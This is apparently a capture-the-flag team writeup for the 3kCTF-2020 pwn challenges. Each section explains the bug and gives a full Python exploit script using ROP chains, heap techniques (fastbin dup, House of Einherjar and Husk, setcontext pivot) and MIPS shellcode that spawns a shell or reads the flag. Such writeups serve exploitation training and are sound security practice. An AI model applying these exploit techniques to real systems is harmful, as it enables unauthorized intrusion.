CTFするぞ

CTF以外のことも書くよ

3kCTF-2020 Writeup

We zer0pts played 3kCTF-2020 which was held from 24 July 2020, 17:00 UTC for 20 hours. There are 5 categories (rev, web, pwn, crypto, misc) and the number of the tasks were well-balanced. I mainly worked on pwn tasks and I felt they were well-designed. Fortunately, we reached 1st place! 🎉

f:id:ptr-yudai:20200726182822p:plain

I'm going to write my solutions for the tasks I solved. The solvers are available here:

bitbucket.org

Other members' writeups:

furutsuki.hatenablog.com

[pwn 493pts] one and a half man

We're given an x86-64 ELF.

$ checksec -f one_and_a_half_man
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   65 Symbols     No       0               2       one_and_a_half_man

The vulnerability is a simple buffer overflow. However, there're only two external functions: read and setvbuf. The idea of this task is same as "rop13" which I made for ASIS CTF Final 2019 and "advanced easy_stack" from Cyber Mimic Defense 2020.

I overwrote the least significant byte of setvbuf@got to make it point to syscall gadget. The hard point was that I couldn't find a gadget to set rax value. After overwriting 1 byte of setvbuf@got, rax will be set to 1, which is equivalent to SYS_write. I used this system call to set rax by calling write and printing 59 bytes. Then rax will be 59 and we can just call SYS_execve.

from ptrlib import *

elf = ELF("./one_and_a_half_man")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./one_and_a_half_man")
sock = Socket("one-and-a-half-man.3k.ctf.to", 8521)

rop_pop_rdi = 0x00400693
rop_pop_rsi_r15 = 0x00400692
rop_leave = 0x004005db
csu_popper = 0x40068a
csu_caller = 0x400670

"""
 Stage1: stager
"""
payload  = b'A' * (0xa + 8)
payload += p64(csu_popper)
# stager
payload += flat([
    0, 1, elf.got("read"), 0, elf.section(".bss") + 0x100, 0x100
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)
payload += flat([
    0, elf.section(".bss") + 0x100 - 8, 0, 0, 0, 0
], map=p64)
payload += p64(rop_leave)
payload += b'A' * (0xaa - len(payload))
print(hex(len(payload)))
sock.send(payload)

"""
 Stage2: core
"""
# put /bin/sh
payload  = p64(csu_popper)
payload += flat([
    0, 1, elf.got("read"), 0, elf.section(".bss") + 0x80, 8
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)
# read->syscall / set rax = 1
payload += flat([
    0, 1, elf.got("read"), 0, elf.got("read"), 1
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)
# write / set rax
payload += flat([
    0, 1, elf.got("read"), 1, elf.section(".bss") + 0x80, 59
], map=p64)
payload += p64(csu_caller)
payload += p64(0xdeadbeef)
# execve
payload += flat([
    0, 1, elf.got("read"), elf.section(".bss") + 0x80, 0, 0
], map=p64)
payload += p64(csu_caller)
payload += b'A' * (0x100 - len(payload))
sock.send(payload)
sock.send(b'/bin/sh\0' + b"\x8f")

sock.interactive()

[pwn 493pts] linker

The program has UAF in edit.

$ checksec -f linker
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   87 Symbols     Yes      0               6       linker

I just abused the UAF to corrupt fastbin link. After pointing the link to bss, we can pop a fake chunk around bss section. Since there exists the pointer list in bss, we can overwrite the pointers. I injected a fake pointer pointing to free@got and overwrote it with printf@plt to cause FSB. After leaking the libc address, I made it point to system@plt in the same way.

from ptrlib import *

def new(size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    return int(sock.recvregex("at index (\d+)")[0])
def edit(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(":\n", str(index))

elf = ELF("./linker")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./linker")
sock = Socket("linker.3k.ctf.to", 9654)

sock.sendlineafter(":\n", "8")
sock.sendafter(":\n", "taro")

# fastbin attack
logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x60209d))
new(0x68)
new(0x68)

# overwrite bss
logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 2 + p32(0) * 6
payload += p64(elf.got("free"))
payload += p64(0x00000000006020ad)
edit(1, payload)
edit(0, p64(elf.plt("printf")))

# now free is printf
new(0x100)
edit(2, "/bin/sh;%{}$p\n".format(15 + 6))
delete(2)
libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7
logger.info("libc = " + hex(libc_base))

# do whatever
logger.info("mostly done")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(elf.got("free"))
edit(1, payload)
edit(0, p64(libc_base + libc.symbol("system")))

# now free is system
delete(2)

sock.interactive()

[pwn 496pts] linker revenge

The program is quite similar to that of "linker" challenge. The difference is that RELRO and seccomp are enabled this time.

$ checksec -f linker_revenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   92 Symbols     Yes      0               6       linker_revenge

seccomp:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000005  if (A == fstat) goto 0010
 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

Same principle as "linker", I used the fake chunk on bss. At first I didn't notice "Show" function is added this time and I was abusing FILE structure, which caused timeout on remote.

from ptrlib import *
import time

def new(size):
    sock.sendlineafter("> ", "1\0\0")
    sock.sendlineafter(":\n", str(size))
def edit(index, data):
    sock.sendlineafter("> ", "2\0\0")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3\0\0")
    sock.sendlineafter(":\n", str(index))
def show(index):
    sock.sendlineafter("> ", "5\0\0")
    sock.sendlineafter(":\n", str(index))
    return sock.recvline()

elf = ELF("./linker_revenge")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./linker_revenge")
#sock = Socket("localhost", 9999)
sock = Socket("linker-revenge.3k.ctf.to", 9632)

sock.sendlineafter(":\n", "5")
sock.sendlineafter(":\n", "taro")

# fastbin attack
logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x60203d))
new(0x68)
new(0x68)

# overwrite bss
logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0xff) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(0x602060) # ptr[0] = &page_size
payload += p64(0x602020)
payload += p64(0x6020b8)
edit(1, payload)
new(0x408)

# leak libc & heap
libc_base = u64(show(1)) - libc.symbol("_IO_2_1_stdout_")
logger.info("libc = " + hex(libc_base))
heap_base = u64(show(2)) - 0x2290
logger.info("heap = " + hex(heap_base))

# pwn
rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e8a
rop_pop_rax = libc_base + 0x00043a77
rop_pop_rdx = libc_base + 0x00001b96
rop_xchg_eax_ecx = libc_base + 0x00157bdf
rop_syscall = libc_base + 0x000d29d5

payload  = p32(0x4ff) * 8
payload += p32(1) * 5 + p32(0) * 3
payload += p64(0x602060) + p64(libc_base + libc.symbol("__free_hook"))
edit(0, payload)
edit(1, p64(libc_base + libc.symbol("setcontext") + 0x35))
payload = b''
payload += b"flag\0\0\0\0" + p64(0) # rdi + 0x00
payload += p64(0) + p64(0) # rdi + 0x10
payload += p64(0) + p64(0) # rdi + 0x20 --> XXX, r8
payload += p64(0) + p64(0) # rdi + 0x30 --> r9 , XXX
payload += p64(0) + p64(0) # rdi + 0x40 --> XXX, r12
payload += p64(0) + p64(0) # rdi + 0x50 --> r13, r14
payload += p64(0) + p64(0xffffffffffffff9c) # rdi + 0x60 --> r15, rdi
payload += p64(heap_base + 0x2290) + p64(0) # rdi + 0x70 --> rsi, rbp
payload += p64(0) + p64(0) # rdi + 0x80 --> rbx, rdx
payload += p64(0) + p64(0) # rdi + 0x90 --> XXX, rcx
payload += p64(heap_base + 0x2340 - 8) + p64(rop_pop_rax) # rdi + 0xa0 --> rsp, rip
# openat(0, "flag", 0)
payload += p64(rop_pop_rax)
payload += p64(257)
payload += p64(rop_syscall)
# read(3, heap, 0x40)
payload += p64(rop_pop_rdi)
payload += p64(6)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(0)
payload += p64(rop_syscall)
# write(1, heap, 0x40)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(1)
payload += p64(rop_syscall)
edit(3, payload)
delete(3)

sock.interactive()

[pwn 497pts] faker

Again, the binary is similar to that of "linker" and "linker revenge." Seccomp is enabled and RELRO is disabled.

$ checksec -f faker
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   91 Symbols     No       0               6       faker

Same idea.

from ptrlib import *

def new(size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    return int(sock.recvregex("at index (\d+)")[0])
def edit(index, data):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", data)
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(":\n", str(index))

elf = ELF("./faker")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./faker")
sock = Socket("faker.3k.ctf.to", 5231)

sock.sendlineafter(":\n", "4")
sock.sendafter(":\n", "taro")

# fastbin attack
logger.info("fastbin dup")
for i in range(7):
    new(0x68)
    delete(0)
new(0x68)
new(0x68)
delete(0)
delete(1)
edit(1, p64(0x6020bd))
new(0x68)
new(0x68)

# overwrite bss
logger.info("overwrite")
payload  = b'AAA'
payload += p64(0) * 2
payload += p32(0x68) * 8
payload += p32(1) * 2 + p32(0) * 6
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
edit(1, payload)
edit(0, p64(elf.plt("printf")))

# now free is printf
new(0x40)
edit(2, "%{}$p\n".format(13 + 6))
delete(2)
libc_base = int(sock.recvregex("0x([0-9a-f]+)")[0], 16) - libc.symbol("__libc_start_main") - 0xe7
logger.info("libc = " + hex(libc_base))

# leak heap
logger.info("mostly done")
payload  = p32(0x68) * 8
payload += p32(1) * 3 + p32(0) * 5
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
payload += p64(0x602138)
edit(1, payload)
new(0x70) # 3
new(0x70) # 4
delete(2)
heap_base = u64(sock.recvuntil("1- Get")[:-6]) - 0x14b0
logger.info("heap = " + hex(heap_base))
edit(0, p64(libc_base + libc.symbol("setcontext") + 0x35))

# now free is setcontext
rop_pop_rdi = libc_base + 0x0002155f
rop_pop_rsi = libc_base + 0x00023e8a
rop_pop_rax = libc_base + 0x00043a77
rop_pop_rdx = libc_base + 0x00001b96
rop_xchg_eax_ecx = libc_base + 0x00157bdf
rop_syscall = libc_base + 0x000d29d5

payload = b''
payload += b'flag\0\0\0\0' + p64(0xffffffffffffff9c) # rdi + 0x60 --> r15, rdi
payload += p64(heap_base + 0x14b0) + p64(0) # rdi + 0x70 --> rsi, rbp
payload += p64(0) + p64(0) # rdi + 0x80 --> rbx, rdx
payload += p64(0) + p64(0) # rdi + 0x90 --> XXX, rcx
payload += p64(heap_base + 0x17d0 - 8) + p64(rop_pop_rax) # rdi + 0xa0 --> rsp,
edit(3, payload)

payload  = p32(0xfff) * 8
payload += p32(1) * 5 + p32(0) * 3
payload += p64(elf.got("free"))
payload += p64(0x6020e0)
payload += p64(heap_base + 0x14b0 - 0x60)
edit(1, payload)

payload = b''
payload += p64(rop_pop_rax)
payload += p64(257)
payload += p64(rop_syscall)
# read(fd, heap, 0x40)
payload += p64(rop_pop_rdi)
payload += p64(6)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(0)
payload += p64(rop_syscall)
# write(1, heap, 0x40)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(rop_pop_rsi)
payload += p64(heap_base)
payload += p64(rop_pop_rdx)
payload += p64(0x40)
payload += p64(rop_pop_rax)
payload += p64(1)
payload += p64(rop_syscall)
edit(4, payload)

delete(2)

sock.interactive()

[pwn 499pts] big houses

Fully protected binary.

$ checksec -f big_houses
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   92 Symbols     Yes      0               6       big_houses

The vulnerability is an obvious off-by-null. However, we can only allocate chunks larger than 0x8f by calloc, which means we can use neither fastbin nor tcache.

I used House of Einherjar to overlap multiple chunks by abusing unsorted bin. When we can only use large chunks, House of Husk is useful :)

from ptrlib import *
import time

def add(size, name):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(":\n", str(size))
    sock.sendafter(":\n", name)
def delete(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(":\n", str(index))
def show():
    sock.sendlineafter("> ", "3")
    r = []
    while True:
        l = sock.recvline()
        if b'Add item' in l:
            break
        else:
            r.append(l[3:])
    return r
def edit(index, name):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter(":\n", str(index))
    sock.sendafter(":\n", name)
def offset2size(ofs):
    return ofs * 2 - 0x10

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./big_houses")
sock = Socket("big-houses.3k.ctf.to", 7412)

sock.sendlineafter("> ", "1")

# evict tcache
logger.info("evict tcache")
for i in range(7):
    add(0x98, "dummy")
    delete(0)

# overlap chunk
logger.info("prepare chunk")
payload  = b'D' * 0x4f0
payload += p64(0) + p64(0x21)
payload += p64(0) * 2
payload += p64(0) + p64(0x21)
add(0x427, "A")
add(0x97, "B")
add(0x97, "C")
add(0x527, payload)
add(0x97, "E")
logger.info("overlap chunk")
payload = b"C" * 0x90
payload += p64(0x570)
delete(2)
add(0x98, payload)
delete(0)
delete(3)
delete(4)
add(offset2size(0x3f0658 - libc.main_arena()), "A")
add(offset2size(0x3ec870 - libc.main_arena()), "B")

# leak libc
add(0x428, "dummy")
libc_base = u64(show()[1]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

# house of husk
logger.info("house of husk")
one_gadget = 0x10a45c
edit(1, p64(0) + p64(libc_base + 0x3ed940 - 0x10))
time.sleep(0.5)
add(0x5f8, "unsorted bin attack")
payload  = p64(0) * (ord('u') - 2)
payload += p64(libc_base + one_gadget)
payload += b'\n'
edit(3, payload)
time.sleep(0.5)
delete(0)
delete(3)

sock.sendlineafter("> ", "5")
sock.sendlineafter("> ", "2")

sock.interactive()

wow the flag

3k{husk_HUSK_husk_credits_@ptrYudai}

[pwn 499pts] base jumper

x86-64 ELF

$ checksec -f base_jumper
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     No       0               2       base_jumper

The program has only fgets, fflush, setvbuf. There's a simple buffer overflow.

This challenge is similar to "babybof", which is a challenge I made for zer0pts CTF. There was an unintended solution in that challenge but this time we can't cheat as fgets is used instead of read. Fortunately it provides fflush, which makes it much easier than "babybof."

I leave the detailed writeup here in zer0pts CTF writeup.

from ptrlib import *

elf = ELF("./base_jumper")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
#sock = Process("./base_jumper")
sock = Socket("basejumper.3k.ctf.to", 3147)

rop_pop_rdi = 0x00400763
rop_pop_rsi_r15 = 0x00400761
rop_pop_r15 = 0x00400762
rop_set_rdx_stdin = elf.symbol("gift")
rop_leave = 0x00400666
rop_ret = 0x0040050e
rop_pop_rbp = 0x004005b8

"""
 Stage1: core
"""
stage1 = b'A' * (0xa + 8)
# fgets(0x601000, 0x20, stdin)
stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x20)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601000)
stage1 += p64(elf.plt("fgets"))
# fgets(0x601028, 8, stdin)
stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x8)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601028)
stage1 += p64(elf.plt("fgets"))
# fgets(0x601038, 8, stdin)
stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x8)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601038)
stage1 += p64(elf.plt("fgets"))
# fgets(0x601048, 0x400, stdin)
stage1 += p64(rop_set_rdx_stdin)
stage1 += p64(rop_pop_rsi_r15)
stage1 += p64(0x400)
stage1 += p64(0xdeadbeef)
stage1 += p64(rop_pop_rdi)
stage1 += p64(0x601048)
stage1 += p64(elf.plt("fgets"))
# go to stage2
stage1 += p64(rop_pop_rbp)
stage1 += p64(0x601000 - 8)
stage1 += p64(rop_leave)
stage1 += b'A' * (0x400 - len(stage1))

"""
 Stage2: overwrite stdout
"""
# fgets(stdout, 0x21, stdin)
stage2_1  = p64(rop_pop_rsi_r15)
stage2_1 += p64(0x20)
stage2_1 += p64(0xdeadbeef)
stage2_1 += p64(rop_pop_rdi)
stage2_2 = p64(rop_pop_r15)
stage2_3 = p64(rop_pop_r15)
stage2_4  = p64(rop_ret) * 0x20
stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x21)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(elf.plt("fgets"))
# fgets(0x601000, 0x20, stdin)
stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x20)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(rop_pop_rdi)
stage2_4 += p64(0x601000)
stage2_4 += p64(elf.plt("fgets"))
# fgets(0x601048, 0x200, stdin)
stage2_4 += p64(rop_ret) * 0x20
stage2_4 += p64(rop_set_rdx_stdin)
stage2_4 += p64(rop_pop_rsi_r15)
stage2_4 += p64(0x200)
stage2_4 += p64(0xdeadbeef)
stage2_4 += p64(rop_pop_rdi)
stage2_4 += p64(0x601048)
stage2_4 += p64(elf.plt("fgets"))
# go to stage3
stage2_4 += p64(rop_pop_rbp)
stage2_4 += p64(0x601000 - 8)
stage2_4 += p64(rop_leave)
stage2_4 += b'A' * (0x400 - len(stage2_4))

"""
 Stage3: flush stdout
"""
# flush(stdout)
stage3_1  = p64(rop_ret)
stage3_1 += p64(rop_ret)
stage3_1 += p64(rop_ret)
stage3_1 += p64(rop_pop_rdi)
stage3_2  = p64(rop_ret) * 0x20
stage3_2 += p64(elf.plt("fflush"))
stage3_2 += p64(elf.symbol("vuln"))
stage3_2 += b'A' * (0x200 - len(stage3_2))

# do it
sock.send(stage1[:-1])
sock.send(stage2_1[:-1])
sock.send(stage2_2[:-1])
sock.send(stage2_3[:-1])
sock.send(stage2_4[:-1])
sock.send(p64(0xfbad1800) + b'\x00' * 0x18)
sock.send(stage3_1[:-1])
sock.send(stage3_2[:-1])
libc_base = u64(sock.recv()[8:16]) - 0x3ed8b0
logger.info("libc = " + hex(libc_base))

# get the shell!
rop_pop_rdx = libc_base + 0x00001b96
payload = b'A' * (0xa + 8)
payload += p64(rop_pop_rdx)
payload += p64(0)
payload += p64(rop_pop_rsi_r15)
payload += p64(0)
payload += p64(0xdeadbeef)
payload += p64(rop_pop_rdi)
payload += p64(libc_base + next(libc.find("/bin/sh")))
payload += p64(libc_base + libc.symbol("execve"))
sock.sendline(payload)

sock.interactive()

When I made "babybof" for zer0pts CTF 2020, I did a really hard research on this type of simple buffer overflow. I'm not going to write about it but there exists many (not-yet-published) ways to pwn it without output, especially when it's compiled with gcc/clang. Thanks to my past research, this task was pretty easy for me :P

[pwn 499pts] babym1ps

We're given a statically-linked 32-bit ELF for MIPS.

$ checksec -f challenge
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No Symbols      No      0               0       challenge

There exists a simple buffer overflow in main function. Before writing ROP, we have to find out the password because the program calls exit when it's wrong. I analysed the binary with Ghidra+GDB and wrote the following decoder.

t = [
    0x67, 0xc6, 0x69, 0x73, 0x51, 0xff, 0x4a, 0xec, 0x29, 0xcd,
    0xba, 0xab, 0xf2, 0xfb, 0xe3, 
]

cred = b'\x8f\x55\x29\xa2\x9f\x7a\x2e\x93\xfb\xa8\xba\x10\xa8\x7c\x19'
password = b""
for i in range(15):
    for c in range(0x100):
        if (c * 10 ^ i + t[i]) & 0xff == cred[i]:
            password += bytes([c])
            break

print(password)

I'm not familiar with MIPS exploit and what I could use was only ret2csu :3

I just injected shellcode to bss section and executed it.

from ptrlib import *
import time

elf = ELF("./challenge")
#sock = Process(["qemu-mipsel-static", "-g", "12345", "./challenge"])
#sock = Process(["qemu-mipsel-static", "./challenge"])
sock = Socket("babymips.3k.ctf.to", 7777)

sock.recvline()
sock.send(b'A' * 0x81)

csu_popper = 0x004010e4
csu_caller = 0x004010c4

canary = u32(b'\x00' + sock.recvline()[0x81:0x84])
logger.info("canary = " + hex(canary))
payload  = b"dumbasspassword\x00"
payload += b'A' * (0x80 - len(payload))
payload += p32(canary)
payload += p32(0xdeadbeef)
payload += p32(csu_popper)
payload += p32(0xdeadbeef) * 7
payload += flat([
    0x491438, 0, 0, elf.section(".bss")+0x100, 0x100, 1
], map=p32)
payload += p32(csu_caller)
payload += p32(0xdeadbeef) * 7
payload += flat([
    0, 1, 2, 3, 4, 5
], map=p32)
payload += p32(elf.section(".bss")+0x100)
sock.send(payload)

shellcode = b''
shellcode += b"\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += b"\xff\xff\xd0\x04" # bltzal $a2, <p>
shellcode += b"\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += b"\x01\x10\xe4\x27" # addu $a0, $ra, 4097
shellcode += b"\x0f\xf0\x84\x24" # addu $a0, $a0, -4081
shellcode += b"\xab\x0f\x02\x24" # li $v0, 4011
shellcode += b"\x0c\x01\x01\x01" # syscall  0x40404
shellcode += b"/bin/sh"
time.sleep(3)
sock.send(shellcode)

sock.interactive()